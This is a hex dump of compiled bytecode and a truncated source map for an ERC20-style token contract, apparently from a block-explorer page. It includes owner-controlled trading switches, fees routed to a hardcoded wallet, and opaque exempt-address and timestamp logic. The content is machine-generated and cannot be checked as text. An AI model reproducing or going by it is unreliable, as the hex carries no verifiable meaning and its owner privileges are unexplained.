e457600080fd5b50604080518082019091526005815264414952414960d81b6020820152610149565b34801561031257600080fd5b5061017f610321366004611899565b6106b3565b6101c76106c0565b34801561033a57600080fd5b506101a4610349366004611923565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b34801561038057600080fd5b506101a460055481565b6000610397338484610aa7565b5060015b92915050565b60006103af6009600a611a56565b6103bd906305f5e100611a65565b905090565b4780156103d2576103d281610bcb565b50565b60006103e2848484610c21565b610434843361042f85604051806060016040528060288152602001611c20602891396001600160a01b038a1660009081526002602090815260408083203384529091529020549190611473565b610aa7565b5060019392505050565b6000546001600160a01b031633146104715760405162461bcd60e51b815260040161046890611a7c565b60405180910390fd5b30600090815260016020526040902054801561049057610490816114ad565b4780156104a0576104a081610bcb565b5050565b6000546001600160a01b031633146104ce5760405162461bcd60e51b815260040161046890611a7c565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146105425760405162461bcd60e51b815260040161046890611a7c565b6008805460ff60a01b1916905561055b6009600a611a56565b610569906305f5e100611a65565b6005556105786009600a611a56565b610586906305f5e100611a65565b600455565b6000546001600160a01b031633146105b55760405162461bcd60e51b815260040161046890611a7c565b6040516370a0823160e01b8152306004820152600090610639906064906106339085906001600160a01b038816906370a0823190602401602060405180830381865afa158015610609573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061062d9190611ab1565b90611687565b90611710565b60405163a9059cbb60e01b8152336004820152602481018290529091506001600160a01b0384169063a9059cbb906044016020604051808303816000875af1158015610689573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106ad9190611aca565b50505050565b6000610397338484610c21565b6000546001600160a01b031633146106ea5760405162461bcd60e51b815260040161046890611a7c565b600b5460ff161561073d5760405162461bcd60e51b815260206004820152601960248201527f54726164696e6720697320616c7265616479206f70656e6564000000000000006044820152606401610468565b60006107476103a1565b9050610774307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d83610aa7565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156107d2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107f69190611aec565b6001600160a01b031663c9c65396307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610863573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108879190611aec565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af11580156108d4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108f89190611aec565b600880546001600160a01b0319166001600160a01b03928316179055306000818152600160205260409020547f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d9092169163f305d7199147916000806109666000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156109ce573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906109f39190611b09565b505060085460405163095ea7b360e01b81526001600160a01b037f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d811660048301526000196024830152909116915063095ea7b3906044016020604051808303816000875af1158015610a6a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a8e9190611aca565b5050600b805462ff00ff19166201000117905543600c55565b6001600160a01b038316610b095760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610468565b6001600160a01b038216610b6a5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610468565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6040516001600160a01b037f000000000000000000000000c283f4e46d236ae89fda48711072284b4f5667e8169082156108fc029083906000818181858888f193505050501580156104a0573d6000803e3d6000fd5b6001600160a01b038316610c855760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610468565b6001600160a01b038216610ce75760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610468565b60008111610d495760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610468565b600080546001600160a01b03858116911614801590610d7657506000546001600160a01b03848116911614155b156110e657610d9e60646106336001600a5411610d9457600f610d97565b60055b8590611687565b600854909150600160a01b900460ff1615610eb1577f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b0316836001600160a01b031614158015610e0357506008546001600160a01b03848116911614155b15610eb157326000908152600960205260409020544311610e9e5760405162461bcd60e51b815260206004820152604960248201527f5f7472616e736665723a3a205472616e736665722064656c617920656e61626c60448201527f6564202d206f6e6c79206f6e652070757263686173652070657220626c6f636b6064820152681030b63637bbb2b21760b91b608482015260a401610468565b3260009081526009602052604090204390555b6008546001600160a01b038581169116148015610f0057507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b0316836001600160a01b031614155b8015610f2557506001600160a01b03831660009081526003602052604090205460ff16155b1561100657600454821115610f7c5760405162461bcd60e51b815260206004820152601860248201527f4578636565647320746865206d61785478416d6f756e742e00000000000000006044820152606401610468565b60055482610f9f856001600160a01b031660009081526001602052604090205490565b610fa99190611b37565b1115610ff05760405162461bcd60e51b815260206004820152601660248201527522bc31b2b2b239903a34329036b0bc2bb0b63632ba1760511b6044820152606401610468565b600a805490600061100083611b4a565b91905055505b6008546001600160a01b03848116911614801561102c57506001600160a01b0384163014155b1561104d5761104a60646106336019600a5411610d94576019610d97565b90505b30600090815260016020526040902054600b54610100900460ff1615801561108257506008546001600160a01b038581169116145b80156110965750600b5462010000900460ff165b80156110a3575060065481115b80156110b05750600a8054115b156110e4576110d26110cd846110c884600754611752565b611752565b6114ad565b4780156110e2576110e247610bcb565b505b505b6001600160a01b03841660009081526003602052604090205460ff168061112557506001600160a01b03831660009081526003602052604090205460ff165b801561113f57506000546001600160a01b03858116911614155b801561115457506001600160a01b0384163014155b801561116957506001600160a01b0383163014155b156111735742600d555b6001600160a01b03841660009081526003602052604090205460ff1680156111a75750600c546111a4906032611b37565b43115b1561121c576001600160a01b03808516600081815260016020526040808220805487900390559286168082529083902080548601905591517fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061120e9086815260200190565b60405180910390a350505050565b6001600160a01b03841660009081526003602052604090205460ff1615801561125e57506001600160a01b03831660009081526003602052604090205460ff16155b15611339576008546001600160a01b038085169116036112b0576001600160a01b0384166000908152600e60205260409020600d54815461129f9190611b63565b600282015542600190910155611339565b6001600160a01b038084166000908152600e6020526040902060085490918681169116036113045780546000036112ff57600b600a54106112f157426112fc565b6112fc600142611b63565b81555b611337565b6001600160a01b0385166000908152600e602052604090208154158061132b575081548154105b1561133557805482555b505b505b80156113b357306000908152600160205260409020546113599082611767565b30600081815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906113aa9085815260200190565b60405180910390a35b6001600160a01b0384166000908152600160205260409020546113d690836117c6565b6001600160a01b03851660009081526001602052604090205561141b6113fc83836117c6565b6001600160a01b03851660009081526001602052604090205490611767565b6001600160a01b0380851660008181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef61146585856117c6565b60405190815260200161120e565b600081848411156114975760405162461bcd60e51b81526004016104689190611836565b5060006114a48486611b63565b95945050505050565b600b805461ff00191661010017905560408051600280825260608201835260009260208301908036833701905050905030816000815181106114f1576114f1611b76565b60200260200101906001600160a01b031690816001600160a01b0316815250507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561156f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115939190611aec565b816001815181106115a6576115a6611b76565b60200260200101906001600160a01b031690816001600160a01b0316815250506115f1307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d84610aa7565b60405163791ac94760e01b81526001600160a01b037f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d169063791ac94790611646908590600090869030904290600401611b8c565b600060405180830381600087803b15801561166057600080fd5b505af1158015611674573d6000803e3d6000fd5b5050600b805461ff001916905550505050565b6000826000036116995750600061039b565b60006116a58385611a65565b9050826116b28583611bfd565b146117095760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610468565b9392505050565b600061170983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611808565b60008183116117615782611709565b50919050565b6000806117748385611b37565b9050838110156117095760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610468565b600061170983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611473565b600081836118295760405162461bcd60e51b81526004016104689190611836565b5060006114a48486611bfd565b600060208083528351808285015260005b8181101561186357858101830151858201604001528201611847565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146103d257600080fd5b600080604083850312156118ac57600080fd5b82356118b781611884565b946020939093013593505050565b6000806000606084860312156118da57600080fd5b83356118e581611884565b925060208401356118f581611884565b929592945050506040919091013590565b60006020828403121561191857600080fd5b813561170981611884565b6000806040838503121561193657600080fd5b823561194181611884565b9150602083013561195181611884565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600181815b808511156119ad5781600019048211156119935761199361195c565b808516156119a057918102915b93841c9390800290611977565b509250929050565b6000826119c45750600161039b565b816119d15750600061039b565b81600181146119e757600281146119f157611a0d565b600191505061039b565b60ff841115611a0257611a0261195c565b50506001821b61039b565b5060208310610133831016604e8410600b8410161715611a30575081810a61039b565b611a3a8383611972565b8060001904821115611a4e57611a4e61195c565b029392505050565b600061170960ff8416836119b5565b808202811582820484141761039b5761039b61195c565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060208284031215611ac357600080fd5b5051919050565b600060208284031215611adc57600080fd5b8151801515811461170957600080fd5b600060208284031215611afe57600080fd5b815161170981611884565b600080600060608486031215611b1e57600080fd5b8351925060208401519150604084015190509250925092565b8082018082111561039b5761039b61195c565b600060018201611b5c57611b5c61195c565b5060010190565b8181038181111561039b5761039b61195c565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611bdc5784516001600160a01b031683529383019391830191600101611bb7565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611c1a57634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212203cdaeb6e5151f6b05f786bd96ab9df1d98094477f2fc7ad1699d5f2f99a42aec64736f6c63430008130033

Deployed Bytecode Sourcemap

4181:9817:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6503:67;;;;;;;;;;-1:-1:-1;6563:5:0;;;;;;;;;;;;-1:-1:-1;;;6563:5:0;;;;6503:67;;;;;;;:::i;:::-;;;;;;;;7256:161;;;;;;;;;;-1:-1:-1;7256:161:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;7256:161:0;1023:187:1;6732:79:0;;;;;;;;;;;;;:::i;:::-;;;1361:25:1;;;1349:2;1334:18;6732:79:0;1215:177:1;13589:168:0;;;;;;;;;;;;;:::i;:::-;;7425:313;;;;;;;;;;-1:-1:-1;7425:313:0;;;;;:::i;:::-;;:::i;6657:67::-;;;;;;;;;;-1:-1:-1;6657:67:0;;4820:1;2000:36:1;;1988:2;1973:18;6657:67:0;1858:184:1;13263:318:0;;;;;;;;;;;;;:::i;6819:103::-;;;;;;;;;;-1:-1:-1;6819:103:0;;;;;:::i;:::-;-1:-1:-1;;;;;6902:18:0;6885:7;6902:18;;;:9;:18;;;;;;;6819:103;2883:148;;;;;;;;;;;;;:::i;13009:146::-;;;;;;;;;;;;;:::i;5009:52::-;;;;;;;;;;;;;;;;13765:230;;;;;;;;;;-1:-1:-1;13765:230:0;;;;;:::i;:::-;;:::i;2669:79::-;;;;;;;;;;-1:-1:-1;2707:7:0;2734:6;2669:79;;-1:-1:-1;;;;;2734:6:0;;;2445:51:1;;2433:2;2418:18;2669:79:0;2299:203:1;6578:71:0;;;;;;;;;;-1:-1:-1;6640:7:0;;;;;;;;;;;;-1:-1:-1;;;6640:7:0;;;;6578:71;;6930:167;;;;;;;;;;-1:-1:-1;6930:167:0;;;;;:::i;:::-;;:::i;12369:632::-;;;:::i;7105:143::-;;;;;;;;;;-1:-1:-1;7105:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;7213:18:0;;;7186:7;7213:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;7105:143;5068:50;;;;;;;;;;;;;;;;7256:161;7331:4;7348:39;675:10;7371:7;7380:6;7348:8;:39::i;:::-;-1:-1:-1;7405:4:0;7256:161;;;;;:::o;6732:79::-;6785:7;4989:13;4820:1;4989:2;:13;:::i;:::-;4977:25;;:9;:25;:::i;:::-;6795:14;;6732:79;:::o;13589:168::-;13651:21;13686:14;;13683:67;;13714:24;13727:10;13714:12;:24::i;:::-;13619:138;13589:168::o;7425:313::-;7523:4;7540:36;7550:6;7558:9;7569:6;7540:9;:36::i;:::-;7587:121;7596:6;675:10;7618:89;7656:6;7618:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;7618:19:0;;;;;;:11;:19;;;;;;;;675:10;7618:33;;;;;;;;;;:37;:89::i;:::-;7587:8;:121::i;:::-;-1:-1:-1;7726:4:0;7425:313;;;;;:::o;13263:318::-;2796:6;;-1:-1:-1;;;;;2796:6:0;675:10;2796:22;2788:67;;;;-1:-1:-1;;;2788:67:0;;;;;;;:::i;:::-;;;;;;;;;13356:4:::1;13315:20;6902:18:::0;;;:9;:18;;;;;;13376:15;;13373:74:::1;;13405:30;13422:12;13405:16;:30::i;:::-;13476:21;13511:13:::0;;13508:66:::1;;13538:24;13551:10;13538:12;:24::i;:::-;13304:277;;13263:318::o:0;2883:148::-;2796:6;;-1:-1:-1;;;;;2796:6:0;675:10;2796:22;2788:67;;;;-1:-1:-1;;;2788:67:0;;;;;;;:::i;:::-;2990:1:::1;2974:6:::0;;2953:40:::1;::::0;-1:-1:-1;;;;;2974:6:0;;::::1;::::0;2953:40:::1;::::0;2990:1;;2953:40:::1;3021:1;3004:19:::0;;-1:-1:-1;;;;;;3004:19:0::1;::::0;;2883:148::o;13009:146::-;2796:6;;-1:-1:-1;;;;;2796:6:0;675:10;2796:22;2788:67;;;;-1:-1:-1;;;2788:67:0;;;;;;;:::i;:::-;13063:20:::1;:26:::0;;-1:-1:-1;;;;13063:26:0::1;::::0;;4989:13:::1;4820:1;4989:2;:13;:::i;:::-;4977:25;::::0;:9:::1;:25;:::i;:::-;13100:9;:17:::0;4989:13:::1;4820:1;4989:2;:13;:::i;:::-;4977:25;::::0;:9:::1;:25;:::i;:::-;13128:11;:19:::0;13009:146::o;13765:230::-;2796:6;;-1:-1:-1;;;;;2796:6:0;675:10;2796:22;2788:67;;;;-1:-1:-1;;;2788:67:0;;;;;;;:::i;:::-;13868:41:::1;::::0;-1:-1:-1;;;13868:41:0;;13903:4:::1;13868:41;::::0;::::1;2445:51:1::0;13851:14:0::1;::::0;13868:63:::1;::::0;13927:3:::1;::::0;13868:54:::1;::::0;13914:7;;-1:-1:-1;;;;;13868:26:0;::::1;::::0;::::1;::::0;2418:18:1;;13868:41:0::1;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;:45:::0;::::1;:54::i;:::-;:58:::0;::::1;:63::i;:::-;13942:45;::::0;-1:-1:-1;;;13942:45:0;;13968:10:::1;13942:45;::::0;::::1;5312:51:1::0;5379:18;;;5372:34;;;13851:80:0;;-1:-1:-1;;;;;;13942:25:0;::::1;::::0;::::1;::::0;5285:18:1;;13942:45:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;13840:155;13765:230:::0;;:::o;6930:167::-;7008:4;7025:42;675:10;7049:9;7060:6;7025:9;:42::i;12369:632::-;2796:6;;-1:-1:-1;;;;;2796:6:0;675:10;2796:22;2788:67;;;;-1:-1:-1;;;2788:67:0;;;;;;;:::i;:::-;12441:12:::1;::::0;::::1;;12440:13;12432:50;;;::::0;-1:-1:-1;;;12432:50:0;;5901:2:1;12432:50:0::1;::::0;::::1;5883:21:1::0;5940:2;5920:18;;;5913:30;5979:27;5959:18;;;5952:55;6024:18;;12432:50:0::1;5699:349:1::0;12432:50:0::1;12493:25;12521:13;:11;:13::i;:::-;12493:41;;12545:59;12562:4;12577:6;12586:17;12545:8;:59::i;:::-;12641:6;-1:-1:-1::0;;;;;12641:14:0::1;;:16;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;12623:46:0::1;;12678:4;12685:6;-1:-1:-1::0;;;;;12685:11:0::1;;:13;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;12623:76;::::0;-1:-1:-1;;;;;;12623:76:0::1;::::0;;;;;;-1:-1:-1;;;;;6539:15:1;;;12623:76:0::1;::::0;::::1;6521:34:1::0;6591:15;;6571:18;;;6564:43;6456:18;;12623:76:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;12615:5;:84:::0;;-1:-1:-1;;;;;;12615:84:0::1;-1:-1:-1::0;;;;;12615:84:0;;::::1;;::::0;;12771:4:::1;-1:-1:-1::0;6902:18:0;;;-1:-1:-1;6902:18:0;;;;;;12710:6:::1;:22:::0;;::::1;::::0;::::1;::::0;12740:21:::1;::::0;12802:1:::1;12804::::0;12806:7:::1;2707::::0;2734:6;-1:-1:-1;;;;;2734:6:0;;2669:79;12806:7:::1;12710:120;::::0;::::1;::::0;;;-1:-1:-1;;;;;;12710:120:0;;;-1:-1:-1;;;;;6977:15:1;;;12710:120:0::1;::::0;::::1;6959:34:1::0;7009:18;;;7002:34;;;;7052:18;;;7045:34;;;;7095:18;;;7088:34;7159:15;;;7138:19;;;7131:44;12814:15:0::1;7191:19:1::0;;;7184:35;6893:19;;12710:120:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;12848:5:0::1;::::0;12841:54:::1;::::0;-1:-1:-1;;;12841:54:0;;-1:-1:-1;;;;;12871:6:0::1;5330:32:1::0;;12841:54:0::1;::::0;::::1;5312:51:1::0;-1:-1:-1;;5379:18:1;;;5372:34;12848:5:0;;::::1;::::0;-1:-1:-1;12841:21:0::1;::::0;5285:18:1;;12841:54:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;12906:12:0::1;:19:::0;;-1:-1:-1;;12936:19:0;;;;;12981:12:::1;12966;:27:::0;12369:632::o;7746:335::-;-1:-1:-1;;;;;7839:19:0;;7831:68;;;;-1:-1:-1;;;7831:68:0;;7743:2:1;7831:68:0;;;7725:21:1;7782:2;7762:18;;;7755:30;7821:34;7801:18;;;7794:62;-1:-1:-1;;;7872:18:1;;;7865:34;7916:19;;7831:68:0;7541:400:1;7831:68:0;-1:-1:-1;;;;;7918:21:0;;7910:68;;;;-1:-1:-1;;;7910:68:0;;8148:2:1;7910:68:0;;;8130:21:1;8187:2;8167:18;;;8160:30;8226:34;8206:18;;;8199:62;-1:-1:-1;;;8277:18:1;;;8270:32;8319:19;;7910:68:0;7946:398:1;7910:68:0;-1:-1:-1;;;;;7989:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;8041:32;;1361:25:1;;;8041:32:0;;1334:18:1;8041:32:0;;;;;;;7746:335;;;:::o;13163:92::-;13220:27;;-1:-1:-1;;;;;13220:10:0;:19;;:27;;;;;13240:6;;13220:27;;;;13240:6;13220:19;:27;;;;;;;;;;;;;;;;;;;8089:3697;-1:-1:-1;;;;;8177:18:0;;8169:68;;;;-1:-1:-1;;;8169:68:0;;8551:2:1;8169:68:0;;;8533:21:1;8590:2;8570:18;;;8563:30;8629:34;8609:18;;;8602:62;-1:-1:-1;;;8680:18:1;;;8673:35;8725:19;;8169:68:0;8349:401:1;8169:68:0;-1:-1:-1;;;;;8256:16:0;;8248:64;;;;-1:-1:-1;;;8248:64:0;;8957:2:1;8248:64:0;;;8939:21:1;8996:2;8976:18;;;8969:30;9035:34;9015:18;;;9008:62;-1:-1:-1;;;9086:18:1;;;9079:33;9129:19;;8248:64:0;8755:399:1;8248:64:0;8340:1;8331:6;:10;8323:63;;;;-1:-1:-1;;;8323:63:0;;9361:2:1;8323:63:0;;;9343:21:1;9400:2;9380:18;;;9373:30;9439:34;9419:18;;;9412:62;-1:-1:-1;;;9490:18:1;;;9483:39;9539:19;;8323:63:0;9159:405:1;8323:63:0;8397:17;2734:6;;-1:-1:-1;;;;;8435:15:0;;;2734:6;;8435:15;;;;:32;;-1:-1:-1;2707:7:0;2734:6;-1:-1:-1;;;;;8454:13:0;;;2734:6;;8454:13;;8435:32;8431:1640;;;8496:75;8567:3;8496:66;4673:1;8508:11;;:27;8507:54;;4483:2;8507:54;;;4577:1;8507:54;8496:6;;:10;:66::i;:75::-;8592:20;;8484:87;;-1:-1:-1;;;;8592:20:0;;;;8588:490;;;8653:6;-1:-1:-1;;;;;8639:21:0;:2;-1:-1:-1;;;;;8639:21:0;;;:45;;;;-1:-1:-1;8678:5:0;;-1:-1:-1;;;;;8664:20:0;;;8678:5;;8664:20;;8639:45;8635:426;;;8777:9;8748:39;;;;:28;:39;;;;;;8819:12;-1:-1:-1;8712:248:0;;;;-1:-1:-1;;;8712:248:0;;9771:2:1;8712:248:0;;;9753:21:1;9810:2;9790:18;;;9783:30;9849:34;9829:18;;;9822:62;9920:34;9900:18;;;9893:62;-1:-1:-1;;;9971:19:1;;;9964:40;10021:19;;8712:248:0;9569:477:1;8712:248:0;9014:9;8985:39;;;;:28;:39;;;;;9027:12;8985:54;;8635:426;9106:5;;-1:-1:-1;;;;;9098:13:0;;;9106:5;;9098:13;:38;;;;;9129:6;-1:-1:-1;;;;;9115:21:0;:2;-1:-1:-1;;;;;9115:21:0;;;9098:38;:59;;;;-1:-1:-1;;;;;;9141:16:0;;;;;;:12;:16;;;;;;;;9140:17;9098:59;9094:279;;;9196:11;;9186:6;:21;;9178:58;;;;-1:-1:-1;;;9178:58:0;;10253:2:1;9178:58:0;;;10235:21:1;10292:2;10272:18;;;10265:30;10331:26;10311:18;;;10304:54;10375:18;;9178:58:0;10051:348:1;9178:58:0;9288:9;;9279:6;9263:13;9273:2;-1:-1:-1;;;;;6902:18:0;6885:7;6902:18;;;:9;:18;;;;;;;6819:103;9263:13;:22;;;;:::i;:::-;:34;;9255:69;;;;-1:-1:-1;;;9255:69:0;;10736:2:1;9255:69:0;;;10718:21:1;10775:2;10755:18;;;10748:30;-1:-1:-1;;;10794:18:1;;;10787:52;10856:18;;9255:69:0;10534:346:1;9255:69:0;9343:11;:14;;;:11;:14;;;:::i;:::-;;;;;;9094:279;9398:5;;-1:-1:-1;;;;;9392:11:0;;;9398:5;;9392:11;:36;;;;-1:-1:-1;;;;;;9407:21:0;;9423:4;9407:21;;9392:36;9389:165;;;9460:78;9534:3;9460:69;4723:2;9472:11;;:28;9471:57;;4530:2;9471:57;;9460:78;9448:90;;9389:165;9619:4;9570:28;6902:18;;;:9;:18;;;;;;9645:9;;;;;;;9644:10;:25;;;;-1:-1:-1;9664:5:0;;-1:-1:-1;;;;;9658:11:0;;;9664:5;;9658:11;9644:25;:41;;;;-1:-1:-1;9673:12:0;;;;;;;9644:41;:85;;;;;9712:17;;9689:20;:40;9644:85;:120;;;;;4776:2;9733:11;;:31;9644:120;9640:420;;;9785:67;9802:49;9806:6;9813:37;9817:20;9838:11;;9813:3;:37::i;:::-;9802:3;:49::i;:::-;9785:16;:67::i;:::-;9900:21;9943:22;;9940:105;;9990:35;10003:21;9990:12;:35::i;:::-;9766:294;9640:420;8469:1602;8431:1640;-1:-1:-1;;;;;10088:18:0;;;;;;:12;:18;;;;;;;;;:38;;-1:-1:-1;;;;;;10110:16:0;;;;;;:12;:16;;;;;;;;10088:38;10087:59;;;;-1:-1:-1;2707:7:0;2734:6;-1:-1:-1;;;;;10131:15:0;;;2734:6;;10131:15;;10087:59;:84;;;;-1:-1:-1;;;;;;10150:21:0;;10166:4;10150:21;;10087:84;:107;;;;-1:-1:-1;;;;;;10175:19:0;;10189:4;10175:19;;10087:107;10083:169;;;10225:15;10211:11;:29;10083:169;-1:-1:-1;;;;;10266:18:0;;;;;;:12;:18;;;;;;;;:56;;;;-1:-1:-1;10304:12:0;;:17;;10319:2;10304:17;:::i;:::-;10289:12;:32;10266:56;10262:266;;;-1:-1:-1;;;;;10367:15:0;;;;;;;:9;:15;;;;;;:25;;;;;;;10411:13;;;;;;;;;;:23;;;;;;10469:26;;;;;;10386:6;1361:25:1;;1349:2;1334:18;;1215:177;10469:26:0;;;;;;;;10510:7;8089:3697;;;:::o;10262:266::-;-1:-1:-1;;;;;10543:18:0;;;;;;:12;:18;;;;;;;;10542:19;:40;;;;-1:-1:-1;;;;;;10566:16:0;;;;;;:12;:16;;;;;;;;10565:17;10542:40;10538:892;;;10603:5;;-1:-1:-1;;;;;10603:11:0;;;:5;;:11;10599:820;;-1:-1:-1;;;;;10669:14:0;;10635:31;10669:14;;;:8;:14;;;;;10751:11;;10730:18;;:32;;10751:11;10730:32;:::i;:::-;10702:25;;;:60;10803:15;10781:19;;;;:37;10599:820;;;-1:-1:-1;;;;;10891:12:0;;;10859:29;10891:12;;;:8;:12;;;;;10926:5;;10891:12;;10926:13;;;:5;;:13;10922:482;;10968:16;;;:21;10964:151;;11048:2;11036:11;;:14;11035:56;;11076:15;11035:56;;;11055:17;11071:1;11055:15;:17;:::i;:::-;11018:73;;10964:151;10922:482;;;-1:-1:-1;;;;;11196:14:0;;11163:31;11196:14;;;:8;:14;;;;;11237:16;;:21;;:60;;-1:-1:-1;11281:16:0;;11262:18;;:35;11237:60;11233:152;;;11343:18;;11326:35;;11233:152;11140:264;10922:482;10840:579;10599:820;11445:11;;11442:161;;11513:4;11495:24;;;;:9;:24;;;;;;:39;;11524:9;11495:28;:39::i;:::-;11488:4;11470:24;;;;:9;:24;;;;;;;:64;;;;11552:39;;-1:-1:-1;;;;;11552:39:0;;;;;;;11581:9;1361:25:1;;1349:2;1334:18;;1215:177;11552:39:0;;;;;;;;11442:161;-1:-1:-1;;;;;11629:15:0;;;;;;:9;:15;;;;;;:27;;11649:6;11629:19;:27::i;:::-;-1:-1:-1;;;;;11613:15:0;;;;;;:9;:15;;;;;:43;11681:40;11699:21;:6;11710:9;11699:10;:21::i;:::-;-1:-1:-1;;;;;11681:13:0;;;;;;:9;:13;;;;;;;:17;:40::i;:::-;-1:-1:-1;;;;;11667:13:0;;;;;;;:9;:13;;;;;:54;;;;11737:41;;;11756:21;:6;11767:9;11756:10;:21::i;:::-;11737:41;;1361:25:1;;;1349:2;1334:18;11737:41:0;1215:177:1;3393:190:0;3479:7;3515:12;3507:6;;;;3499:29;;;;-1:-1:-1;;;3499:29:0;;;;;;;;:::i;:::-;-1:-1:-1;3539:9:0;3551:5;3555:1;3551;:5;:::i;:::-;3539:17;3393:190;-1:-1:-1;;;;;3393:190:0:o;11903:458::-;6093:9;:16;;-1:-1:-1;;6093:16:0;;;;;12005::::1;::::0;;12019:1:::1;12005:16:::0;;;;;::::1;::::0;;-1:-1:-1;;12005:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;12005:16:0::1;11981:40;;12050:4;12032;12037:1;12032:7;;;;;;;;:::i;:::-;;;;;;:23;-1:-1:-1::0;;;;;12032:23:0::1;;;-1:-1:-1::0;;;;;12032:23:0::1;;;::::0;::::1;12076:6;-1:-1:-1::0;;;;;12076:11:0::1;;:13;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;12066:4;12071:1;12066:7;;;;;;;;:::i;:::-;;;;;;:23;-1:-1:-1::0;;;;;12066:23:0::1;;;-1:-1:-1::0;;;;;12066:23:0::1;;;::::0;::::1;12102:51;12119:4;12133:6;12141:11;12102:8;:51::i;:::-;12166:187;::::0;-1:-1:-1;;;12166:187:0;;-1:-1:-1;;;;;12166:6:0::1;:57;::::0;::::1;::::0;:187:::1;::::0;12238:11;;122